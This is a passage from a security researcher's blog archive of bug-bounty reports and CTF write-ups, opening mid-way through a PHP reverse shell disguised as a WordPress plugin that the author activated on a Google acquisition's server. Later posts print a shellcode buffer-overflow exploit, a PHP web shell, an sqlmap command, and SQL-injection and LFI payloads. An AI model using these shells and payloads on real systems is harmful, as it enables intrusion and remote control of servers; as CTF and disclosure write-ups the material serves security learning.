		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$stringn";
	}
}

?>

Now I added some comments to the top of the page so that the shell will truly look like a Wordpress plugin with Author information.

/*
*     Plugin Name: Shell
*     Plugin URI: https://blog.0daylabs.com
*     Author: a0xnirudh
*     Version: 1.0
*     Author URI: https://blog.0daylabs.com
*                             
*/

After this, I zipped the PHP shell and uploaded the plugin. The moment I clicked on Activate plugin on the dashboard, I got a reverse shell back to my server. I can now execute commands on a Google Acquisition !! :O

I reported this to Google but they were not happy since I uploaded a shell. Now they have to involve the Incident response team to secure the server back. They also warned me that uploading shells was against their policy but since it was my first bug report, they didn’t disqualify it.

Next time when you get a vulnerability using which you are sure that you can upload a shell, better stop it there and report (I know how hard it is to stop there but just report it and let it go or else you might get disqualified) !

Google payed me $1337 for this report and listed my name on their Security Hall of Fame.

SSRF vulnerability on Google's Feedburner

Wed, 10 Feb 2016 00:00:00 -0800

Recently after getting an SSRF on Microsoft’s Bing Webmaster central, I decided to test the same attack on any of the Google acquisitions and feedburner was a great choice. So I quickly went ahead to test the site and I saw an option to add new feed from a URL. Let’s try injecting port numbers into it and see what happens:

As usual, I entered the url https://scanme.nmap.org:22 and to my surprise, I got back a result saying: Received HTTP error code -1 while fetching source feed. Well, it looks like this is vulnerable to SSRF. Let’s confirm it by trying with a closed port; so this time I changed the port number from 22 to 25, which is a closed port, I got another error saying: An error occurred connecting to the URL: unknown error. Well, I guess the vulnerability is confirmed now. I got 2 different errors depending on whether the port number is closed or not.

I tried to expand this by trying to scan the internal networks but unfortunately I had no luck there. Then I tried using other protocols like file:// but this was also restricted. Only http:// or https:// can be used. Sadly I reported the bug to Google hoping that they will atleast fix it but won’t reward since it’s a low priority bug. The reply they gave was: The ability to scan a port is not in itself a vulnerability. It seems they have already explained about this on their bug hunters university

Even through Google said that this is not a vulnerability, at a later point of time I saw that this issue has been being fixed. And as of now, no matter what port number you give, it always returns the error: An error occurred connecting to the URL: internal error. Looks like they patched the vulnerability but didn’t give any credits for it.

Slaying the Dragon - CSAW 2015 REV 500 writeup

Tue, 22 Sep 2015 00:00:00 -0700

For this challenge we are given a binary named wyvern, which is a 64-bit ELF file.

temp@temp ~/D/M/C/C/wyvern> file wyvern

wyvern: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=45f9b5b50d013fe43405dc5c7fe651c91a7a7ee8, not stripped

We are also given the following hints

There is a dragon afoot, we need a hero. Give us the secret of the dragon and we will give you a flag.
HINT: static is only 1 of 2 methods to RE. IDA torrent unnecessary

Before attempting to do any reversing, let us run the file first.

temp@temp ~/D/M/C/C/wyvern> ./wyvern 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

! Quest: there is a dragon prowling the domain.
	brute strength and magic is our only hope. Test your skill.

Enter the dragons secret: a 

- You have failed. The dragons power, speed and intelligence was greater.

This sample run provides us with 2 facts about the binary.

It accepts user input
It validates the input

We can also assume the following fact

The length of the input is validated

After this,we wont be able to progress much further without disassembling it.

Upon disassembling the main() function, we stumble across the following lines of code

.text:000000000040E1DF 1C8 mov     esi, 101h       ; n
.text:000000000040E1E4 1C8 mov     rdi, rcx        ; s
.text:000000000040E1E7 1C8 mov     [rbp+var_180], rax
.text:000000000040E1EE 1C8 mov     [rbp+var_188], rcx
.text:000000000040E1F5 1C8 call    _fgets          ; Call Procedure		//User input with limit 0x101(257)
.text:000000000040E1F5
.text:000000000040E1FA 1C8 lea     rcx, [rbp+var_120] ; Load Effective Address
.text:000000000040E201 1C8 mov     rdi, rcx
.text:000000000040E204 1C8 mov     [rbp+var_190], rax
.text:000000000040E20B 1C8 mov     [rbp+var_198], rcx
.text:000000000040E212 1C8 call    __ZNSaIcEC1Ev   ; std::allocator<char>::allocator(void)	//Creating string object using user input
.text:000000000040E217 1C8 lea     rdi, [rbp+var_118] ; Load Effective Address


.text:000000000040E242 1C8 lea     rdi, [rbp+var_138] ; this
.text:000000000040E249 1C8 lea     rsi, [rbp+var_118] ; std::string *
.text:000000000040E250 1C8 call    __ZNSsC1ERKSs   ; std::string::string(std::string const&)	//Initialize another string object with user string object 


.text:000000000040E25A 1C8 lea     rdi, [rbp+var_138]
.text:000000000040E261 1C8 call    _Z11start_questSs ; start_quest(std::string)		//Calling function start_quest with the string object containing user input
.text:000000000040E266 1C8 mov     [rbp+var_19C], eax		//Return value is stored in [rbp+var_19C]


.text:000000000040E271 1C8 mov     eax, [rbp+var_19C]
.text:000000000040E277 1C8 sub     eax, 1337h      ; Integer Subtraction	
.text:000000000040E27C 1C8 setz    cl              ; Set Byte if Zero (ZF=1)	//If eax==0x1337, cl is set
.text:000000000040E27F 1C8 lea     rdi, [rbp+var_138] ; this
.text:000000000040E286 1C8 mov     [rbp+var_1A0], eax
.text:000000000040E28C 1C8 mov     [rbp+var_1A1], cl		//cl is stored in [rbp+var_1A1]


.text:000000000040E29C 1C8 mov     al, [rbp+var_1A1]
.text:000000000040E2A2 1C8 test    al, 1           ; Logical Compare
.text:000000000040E2A4 1C8 jnz     loc_40E2AF      ; Jump if Not Zero (ZF=0)	//If cl is not set, jump to loc_40E2AF

.text:000000000040E2AA 1C8 jmp     loc_40E36C      ; Jump

.text:000000000040E36C 1C8 mov     eax, offset _ZSt4cout@@GLIBCXX_3_4
.text:000000000040E371 1C8 mov     edi, eax
.text:000000000040E373 1C8 mov     eax, offset aYouHaveFailed_ ; "\n[-] You have failed. The dragon's pow"...
.text:000000000040E378 1C8 mov     esi, eax
.text:000000000040E37A 1C8 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*)		//Output failed.

.text:000000000040E2AF 1C8 lea     rdi, [rbp+var_140]
.text:000000000040E2B6 1C8 lea     rsi, [rbp+var_118] ; std::string *	//Initialise another object with user input
.text:000000000040E2BD 1C8 call    __ZNSsC1ERKSs   ; std::string::string(std::string const&)

.text:000000000040E2C7 1C8 lea     rdi, [rbp+var_140]
.text:000000000040E2CE 1C8 call    _Z15reward_strengthSs ; reward_strength(std::string)	//User input string object is passed to_reward strength
.text:000000000040E2CE									//reward_strength prints flag is flag{\%s},userinput

From this piece of disassemble, we get the following interesting facts

User input length should be < 127
If return value of start_quest(string(user input)) is 0x1337, then the program outputs that string as flag
Any other return value makes the program print -> You have failed

Now instead of fully disassembling start_quest, we will just note down the points that I found interesting

28 variables, all starting with secret_ are pushed onto a newly created vector.
String length of the inputted string is compared to 28
If string length is not equal to 28, the function just returns 28 itself.

After getting all the above instructions, I decided to do run-time analysis on the binary.

I loaded up the binary in gdb and made a breakpoint,so as to read the return value of start_quest. For the first run,I inputted a string of 28 a.

gdb -q wyvern
Reading symbols from wyvern...(no debugging symbols found)...done.
(gdb) break *0x040e266
Breakpoint 1 at 0x40e266
(gdb) r
Starting program: /home/lostsoul/Documents/Misc/CTF/CSAW_2015/wyvern/wyvern 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
	brute strength and magic is our only hope. Test your skill.

Enter the dragons secret: aaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x000000000040e266 in main ()
(gdb) p $eax
$1 = 0
(gdb) c
Continuing.

[-] You have failed. The dragons power, speed and intelligence was greater.
[Inferior 1 (process 13721) exited normally]

The return value was found to be zero.After trying multiple strings, all of length 28, in all cases, the return value was zero. Remember the vector that was created early? I tried placing the first value as the char representation of first value pushed, ie d.

(gdb) r
Starting program: /home/lostsoul/Documents/Misc/CTF/CSAW_2015/wyvern/wyvern 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
	brute strength and magic is our only hope. Test your skill.

Enter the dragons secret: daaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x000000000040e266 in main ()
(gdb) p $eax
$2 = 256
(gdb) c
Continuing.

[-] You have failed. The dragons power, speed and intelligence was greater.
[Inferior 1 (process 14525) exited normally]

Now as you see above,the value have changed.The second value pused into the vector is not a valid ascii. So I tried to bruteforce the second character, which changed the return value and landed up in r.

Then I took a closer look at the values pushed, and I found out that the 2nd value pushed is a sum of ascii(d)+ascii(r). Therefore I concluded that the values pushed into the vector are cumulative sums of ascii values of the characters of the flag.

To verify my theory, I took the 3rd value pushed on to the stack and subtracted the sum of ascii values of d and r. Then I took the character representing the resultant value.

(266 -(ascii(d)+ascii(r)))=52
52 -> '4'

When I substituted the 3rd value as 4, the return value again changed, meaning it was the correct value.

After uncovering this connection, finding out the flag was trivial.

The C program I wrote for it is given below.

#include<stdio.h>

static void calc_flag(int* arr,char* result){
	int accumulator=0,i=0;
	for(i=0;i<28;i++){
		result[i]=arr[i]-accumulator;
		accumulator = accumulator+result[i];
	}
	return;
}

int main(){
	int arr[28]={
			100,214,266,369,417,527,622,733,847,
			942,1054,1106,1222,1336,1441,1540,
			1589,1686,1796,1891,1996,2112,2165,
			2260,2336,2412,2498,2575
		},i=0;
	char result[28];
	calc_flag(arr,result);
	printf("Flag is :: ");
	for(i=0;i<28;i++){
		printf("%c",result[i]);
	}
	printf("\n");
	return 0;
}

Compiling and running the above C code will print the flag :

Flag is :: dr4g0n_or_p4tric1an_it5_LLVM

To validate it, run the program and enter the above string.

temp@temp ~/D/M/C/C/wyvern> ./wyvern 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
	brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: dr4g0n_or_p4tric1an_it5_LLVM
success

[+] A great success! Here is a flag{dr4g0n_or_p4tric1an_it5_LLVM}

So our flag is correct !

Cookies are Delicious - CSAW 2015 Exploitation 100 Writeup

Tue, 22 Sep 2015 00:00:00 -0700

The binary prints out the address of the buffer during execution and also presents a blatant buffer overflow with the scanf(%s). Checking out the binary in gdb-peda showed that NX was disabled. So the scenario I thought was Buffer overflow with ASLR on and possible return to shellcode.

But the problem with this method is that a variable resembling a stack-cookie is placed at a higher memory address compared to the buffer. The program, before the epilogue, checks whether or not the value of this stack-cookie has been altered. If it has been altered, then the program calls exit() which renders our overflow useless.

So what we need to do is to overflow the buffer in such a way that the stack-cookie is overwritten with its original value itself. The cookie is at an offset of 128 bytes from the starting of the buffer and it is 10 bytes long.So the only thing left to do is to write a nice python code to do all this for us.

Expecto Pythonum

from pwn import *
context.binary="precision"
host="54.173.98.115"
port=1259
p=remote(host,port)
context.bits=32
msg=p.recvline()
print msg
buf_addr = int( msg[msg.find(":")+2:],16)#the address of buffer which is being printed onto the screen
print hex(buf_addr)
shellcode= "\x31\xc0\xb0\x30"
	   +"\x01\xc4\x30\xc0"
 	   +"\x50\x68\x2f\x2f"
	   +"\x73\x68\x68\x2f"
	   +"\x62\x69\x6e\x89"
	   +"\xe3\x89\xc1\xb0"
	   +"\xb0\xc0\xe8\x04"
	   +"\xcd\x80\xc0\xe8"
	   +"\x03\xcd\x80"
payload=shellcode
payload+="B"*(128-len(shellcode))
payload+=pack(0x475a31a5)+pack(0x40501555)+"\xe0\x85"  #the value of the stack-cookie
payload+="C"*10     #rest of padding required to reach saved instruction pointer
payload+=pack(buf_addr)
p.sendline(payload)
p.interactive()

….Aaaand Voila! Shell..

Breaking the CTF framework - CSAW 2015 web 600 writeup

Mon, 21 Sep 2015 00:00:00 -0700

Well, after I saw the challenge for the first time, I was like “dafaq! Should we find a zero day in CSAW CTF Framework now ?”. I immediately searched their framework source code hoping it to be open sourced and I was correct. I got the source code from their github and now what ? Its hell long and I don’t wanna sit and read the entire thing so I looked into the issues and recent commits. I was damn sure that this has to do something with a recent commit. Then one of the commits got my attention: commit

And the commit msg was: Fix authentication for certain admin actions. That itself is suspicious right ? Well atleast to me it was. So here is an interesting part of the code:

@admin.route('/admin/chal/new', methods=['POST'])
@admins_only
def admin_create_chal():
    files = request.files.getlist('files[]')
    # Create challenge
    chal = Challenges(request.form['name'], request.form['desc'], request.form['value'], request.form['category'])
    db.session.add(chal)
    db.session.commit()

Well, lets visit the URL and I got a message saying Method not Allowded and I didn’t get redirected to a login page ~! Strange isn’t it ? For any of the URL other than the 3 URL’s, if we try to access /admin/ its gonna redirect you to login but not this, interesting ! Lets try giving other types of requests then. So I fired up the python terminal and did a post request, and there is the flag in the response !

import requests

req = requests.post(https://ctf.isis.poly.edu/admin/chal/delete)
req.text

Now that was a pretty easy challenge. :)

First Ashley Madison now Weebdate - CSAW 2015 web 500 writeup

Mon, 21 Sep 2015 00:00:00 -0700

This challenge was pretty difficult and I should say even more difficult than Web600. So first I went to the Weebdate site and registered a new account. It games me a TOTP key which I should use to generate a one time login key and login with it. So I used a standard python library to get my key (which changes every 30 sec) and I logged in. I immediately clicked on edit profile and there we have an option to add images from other sources. Looks suspecious ? How about an LFI ? We cannot use php://filter since we are not even sure that we are dealing with php here. So I tried giving arbitrary inputs and I got an awesome error back: Malformed url ParseResult(scheme='', netloc='', path=u'/', params='', query='', fragment=''). That looks pretty interesting. So we need a scheme. How about file:// ?

Well file protocol worked and I tried including apache conf files, and all those and ultimately reached here: file://localhost/var/www/weeb/server.py and that pretty much gave me the source code. So after going through it, I understood they are using some randomutils files which is not a standard python file and I tried printing its source code: file://localhost/var/www/weeb/utils.py which has the functions we need.

def generate_seed(username, ip_address): 
    return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] 

def get_totp_key(seed): 
    random.seed(seed) return pyotp.random_base32(16, random)

So these functions can return me the OTP. But now I need the password and Ipaddress. The only possible way to get it is from the database. I got stuck at this point for a long time and then got a link http://54.210.118.179/csp/view/411 which downloads a JSOn. When I added a single quote to the URL, it gives me back internal server error which pretty much means that we got an sql injection point. So time to run sqlmap: python sqlmap.py --level=5 --risk=3 -u "http://54.210.118.179/csp/view/3444" -a which dumps me everything. I was eagerly searching for IP address which I got but instead of getting a password, I got a hash. Now I should crack the hash ?

I tried some common bruteforce approch guessing that password hash will be sha256(username+pass) and after a while I got the password which was zebra. Now we have everything we want to run the 2 functions that we got above. Just run it with the data we got and flag is ours !

Bypassing PHP strcmp() - CSAW 2015 web 200 writeup

Mon, 21 Sep 2015 00:00:00 -0700

Well this challenge was very easy and I guess it has the highest number of solves in web category during CSAW 2015. Here we have a simple login form and and we should login to get the flag. But the register is not working and SQL injection also doesn’t seems to work. So I was wondering how can the check be in server side and if it is using php function strcmp() then things would be pretty easy. So I tried capturing the request with tamper data and replaced the password=lol with password[]=lol and it easily bypassed the authentication. And yea it gives back the flag too :)

FOr those who don’t know how this works, lets say we have an example code like this:

$username = $_POST['username'];
$password = $_POST['password'];

$real_password = "original password here";

if (strcmp($password, $real_password) == 0) {
 
 echo "flag{}";
}

If this is the code, if we give post request like this password[]=lol then the $password becomes an array. Now comparing this, instead of throwing an error, it returns NULL and in PHP NULL == 0, which means string comparison passed and we got the flag :)

Local File inclusion + File Upload = Remote Code execution - MMACTF 2015 web 300 writeup

Mon, 07 Sep 2015 00:00:00 -0700

We are greeted with a page which has both register and a login option. After playing around a bit with it, I decided to register a new account and to my surprise I saw a file upload option (man I love file uploads). Also I noticed the URL structure which looks like this:

http://magiagents.chal.mmactf.link/index.php?page=settings

It seems they are including pages so I tried to use php://filters to print out the source code in base64 and it did :-).

http://magiagents.chal.mmactf.link/index.php?page=php://filter/convert.base64-encode/resource=home

Using the same method I got the source code for all the pages including db.php, settings.php, and login.php. From the settings.php I understood that the sha1 of the uploaded image is taken as the filename and if it is has a jpg/png extension, it is also appended to the final filename and is stored in a directory avators. If it has any other extensions, it simply neglects it.

One quick thing came to mind is to upload a php shell and include it via the LFI but a problem that I faced is that the the server was automatically appending .php extension to which ever filename and they are using the latest version of php where nullbyte %00 injection will not work. Well, I didn’t had a clue what to do next.

I started looking at the other available php wrappers and I came across an interesting one called zip:///path/to/filename#dir/file and that looks pretty interesting. So I wrote a simple php shell, compressed it (.zip) and renamed it to shell.jpg and I uploaded it. So now I have my shell in the zip format. Then I included the location of the shell via zip wrapper:

http://magiagents.chal.mmactf.link/index.php?page=zip://avators/bi0sca70c2c8ad1dc9376848131c3b90d99f2d3833ee.jpg%23shell

So the zip intakes the image for extraction and its a valid zip. So it extracted, I gave a name shell to the extracted file and the server added the .php extension for me which easily executed. From the home.php source code, I knew the location of the flag and all I did was to use webshell to print it for me.

The challenge was really amazing and I am excited to learn new concepts like this. Thanks for the MMACTF organizers for taking efforts to create good challenges.

Executing php using script tags - MMACTF 2015, Uploader, web 100 writeup

Mon, 07 Sep 2015 00:00:00 -0700

Well this was quite a fascinating challenge. We are greeted with a challenge which has a direct file upload which even uploads .php but will not execute it because there is a filter which goes through the file we uploaded and removes all <?php tags from it. I tried several ways to escape out of Regex filter (or what ever filter they are using) but I just couldn’t do it.

After reading and trying a lot of different methods (every single one failed), I read the description of the challenge again:

This uploader deletes all /<\?|php/. So you cannot run php.

Well, now thats interesting. If they want to disallow the PHP execution, they why did they allow us to upload .php extension files ? They can easily limit the upload feature but they didn’t which means our aim is to execute php web shell without using the <?php to write the code.

Frankly speaking, I had no idea on how to execute without adding <?php. So I googled around to see an alternative option and I was shocked to read php tags documentation. Did you see an awesome method of executing php there ?

<script language="php"> </script>

That moment I didn’t know how to explain but I was quite surprised. Now lets right a simple web shell using the same:

<script language="phP">
    if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);
        die;
    }
</script>

Called it shell.php and uploaded it. The uploader gives me direct access to the file with which I can run system commands :-). Now its a matter of searching for the flag and it was there in the root directory itself.

http://recocta.chal.mmactf.link:9080/u/shelll.php?cmd=cat%20/flag

This gives me back the flag I was looking for.

Flag: MMA{you can run php from script tag}

The challenge were super fun and a good learning too. I never knew that <script language="php"> could actually execute php. Thanks to the organizers of MMACTF for the awesome challenges.

Also read: Local File inclusion + File Upload = Remote Code execution - MMACTF 2015 web 300 writeup

webhacking.kr - 0ldzombie challenge writeup 1

Wed, 02 Sep 2015 00:00:00 -0700

0ldzombie has a great collection of Webhacking challenges which ranges from very basic ones to some very advanced attacks. I must admit, I really enjoyed playing the challenges and I am putting up the writeup here on my blog.

Note: I am putting up the write up on my blog so that if you are not able to complete the challenges after trying for awhile, you can refer to the solution to see how I did it. Please don’t look into the solution before you try out the challenges by yourself.

Let us look into the first challenge. As you can see, they show us a page named index.phps. Let us look at the content inside it:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}

$password="????";
if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>5) @solve();
echo("<br>level : $_COOKIE[user_lv]");
?>

As this is the first challenge, let us analyse how it works. Firstly, the if(!$_COOKIE[user_lv]) checks if a cookie named user_lv is already set. If not, it will create and set a new cookie with the value “1”.

The eregi() function is actually depreicated from PHP 5.3 but since this challenge has been created before PHP 5.3, it still uses the function. The function eregi("[^0-9,.]",$_COOKIE[user_lv]) will actually check if the value of cookie named user_lv has any characters other than numbers from 0 - 9 and “.”. If it encounters any other character, it resets the cookie value to one. You can read more about eregi in PHP manual.

$_COOKIE[user_lv]>=6 this will check if the cookie value is greater than 6 and if so, it resets again to 1. But from next line, $_COOKIE[user_lv]>5, we can understand that for the challenge to be completed, the value of cookie should be greater than 5 but less than 6.

Now, could you think of a solution ?

If you solved the challenge in an easier way, do let me know. Let us share and learn :)

SSRF attack using Microsoft's bing webmaster central

Sun, 09 Aug 2015 00:00:00 -0700

Recently when I was browsing through the internet, I came accross an awesome blogpost by Riyaz walikar on Cross Site Port Attacks (SSRF/XSPA). If you haven’t read it already, I strongly suggest you to read it.

After reading the article, I was thinking of trying this attack at some place and the first thing that comes to my mind is Google’s webmasters tool but Riyaz has already reported the same. So no point in trying. So whats next? Then it came to my mind, what about Microsoft’s Bing Webmaster Central? Alright, lets have a look.

I went to the webmaster central and tried to add a new site https://scanme.nmap.org:22 (basicaly because its not illegal to port scan the site as they give the permission to do so). Bing suggested me to add the verification tag to site but I didn’t bother because I cannot do it anyway. Then I simply clicked on verify and look at the result I got back from bing:

Protocol violation means the server expected the protocol to be http but since ssh was running in port 22, it gives back the error message. Now let us see what happens when I give a port number which is closed (22 was open). So I changed the port number from 22 to 15 and got back another error message:

Connect failure means that the port is closed. By using this mechanism we can use the Bing to port scan any internet facing webservers.

After this, I tried to do something else. Instead of giving the remote webservers, I started giving the possible internal IP address and for my surprize the bing is yeilding back the same result as it gave for remote servers ! Thats awesome isn’t it? Well, yes atleast when Bug hunters are concerned!

I reported this to Microsoft few weeks back and the issue has been successfully fixed by the Microsoft. Also thanks to Microsoft for listing my name in their Security hall of fame.

This is my first bug report. Hopefully I can find more in the coming days.

webhacking.kr - 0ldzombie challenge writeup 7

Sat, 08 Aug 2015 00:00:00 -0700

So here we are, at level 7. One defect with this challenge site is that since this is not in the increasing order of difficulty, we cannot say that challenges will get more difficult as we crack more since that is how usual challenge sites works!

Note: I am putting up the write up so that if you are not able to complete the challenges after trying for awhile, you can refer to the solution to see how I did it. Please don’t look into the solution before you try out the challenges by yourself.

Challenge 7

Now let us look into challenge 7. In the source file, you can immediately understand that the challenge is to inject SQL !

<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);

echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");

if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }

if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
}

?>

You can see clearly see that some common keywords from SQL are filtered and if we use the same, we get the message Access Denied. But to my surprise the most used keywords in SQL, ie, select and union where not filtered. Also from the source code, we can successfully login as admin only if we get the value 2. So we simply have to select the value 2. But the main problem here was that spaces are filtered. Without spaces, its difficult to craft a correct query. So I just looked into some filter evading techniques and I came to know that un-printable characters will be taken as spaces in MYSQL.

So where ever I need space, I used %0a and this leads to a successful bypass. The payload looks like this:

http://webhacking.kr/challenge/web/web-07/index.php?val=13)%0Aunion%0aselect%0a(5-3

You might have to refresh the injection several times since this payload will work only if the rand value selected is 1. If you are lucky enough, you will get it at the first shot ;). Hope this helps !

webhacking.kr - 0ldzombie challenge writeup 6

Sat, 13 Jun 2015 00:00:00 -0700

So now we have reached level 6 and the journey till now was quite challenging but enjoyable. Challenges by 0ldzombie is much better than several other web hacking challenges out there. Each level teaches us so much new information. Let us hope the future challenges will be even better.

The moment we open the challenge 6 page, first thing we see is the hint as base64. Well, base64 is an encoding and can be easily brought back to plain text. Also, the challenge page points us to index.phps. Let us see what is inside the source code:

<?php
if(!$_COOKIE[user])
{
    $val_id="guest";
    $val_pw="123qwe";

    for($i=0;$i<20;$i++)
    {
        $val_id=base64_encode($val_id);
        $val_pw=base64_encode($val_pw);

    }

    $val_id=str_replace("1","!",$val_id);
    $val_id=str_replace("2","@",$val_id);
    $val_id=str_replace("3","$",$val_id);
    $val_id=str_replace("4","^",$val_id);
    $val_id=str_replace("5","&",$val_id);
    $val_id=str_replace("6","*",$val_id);
    $val_id=str_replace("7","(",$val_id);
    $val_id=str_replace("8",")",$val_id);

    $val_pw=str_replace("1","!",$val_pw);
    $val_pw=str_replace("2","@",$val_pw);
    $val_pw=str_replace("3","$",$val_pw);
    $val_pw=str_replace("4","^",$val_pw);
    $val_pw=str_replace("5","&",$val_pw);
    $val_pw=str_replace("6","*",$val_pw);
    $val_pw=str_replace("7","(",$val_pw);
    $val_pw=str_replace("8",")",$val_pw);

    Setcookie("user",$val_id);
    Setcookie("password",$val_pw);

    echo("<meta http-equiv=refresh content=0>");
}
?>

<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>

<?

$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];

$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);

$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);


for($i=0;$i<20;$i++)
{
    $decode_id=base64_decode($decode_id);
    $decode_pw=base64_decode($decode_pw);
}

echo("<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");

if($decode_id=="admin" && $decode_pw=="admin")
{
    @solve(6,100);
}


?>

</body>
</html>

So what is happening here? The first time look at the source code can be a bit frightening for those who are not well versed with PHP but its very easy. Basically, they take the word guest and will base64 encode it continuously for 20 times. After that numbers from 1 - 8 in the strings are replaced with some characters as shown in the code. Then when they decode the cookie, they first change the characters back and will base64 decode 20 times to get the original string back. Then if the values of username and password are admin, then we have solved the challenge successfully. Since I love python very much, I wrote a simple program which gives us the username/password combination we need to use in the cookies:

#!/usr/bin/python3.4
# Written by Anirudh Anand (lucif3r) : email - anirudh@anirudhanand.com

# This is the solution to 0ldzombie's Webhacking.kr Challenge 6: Base64 cookie encoding
# The script uses requests library in python 3.4

import base64

__author__ = 'lucif3r'


class Challenge6:

    def __init__(self):
        print("[+] 0ldZombie challenge6: - Base64 Cookie decode \n")
        return

    def encode_cookie(self, username, password):

        for i in range(1, 21):
            username = base64.b64encode(username)
            password = base64.b64encode(password)

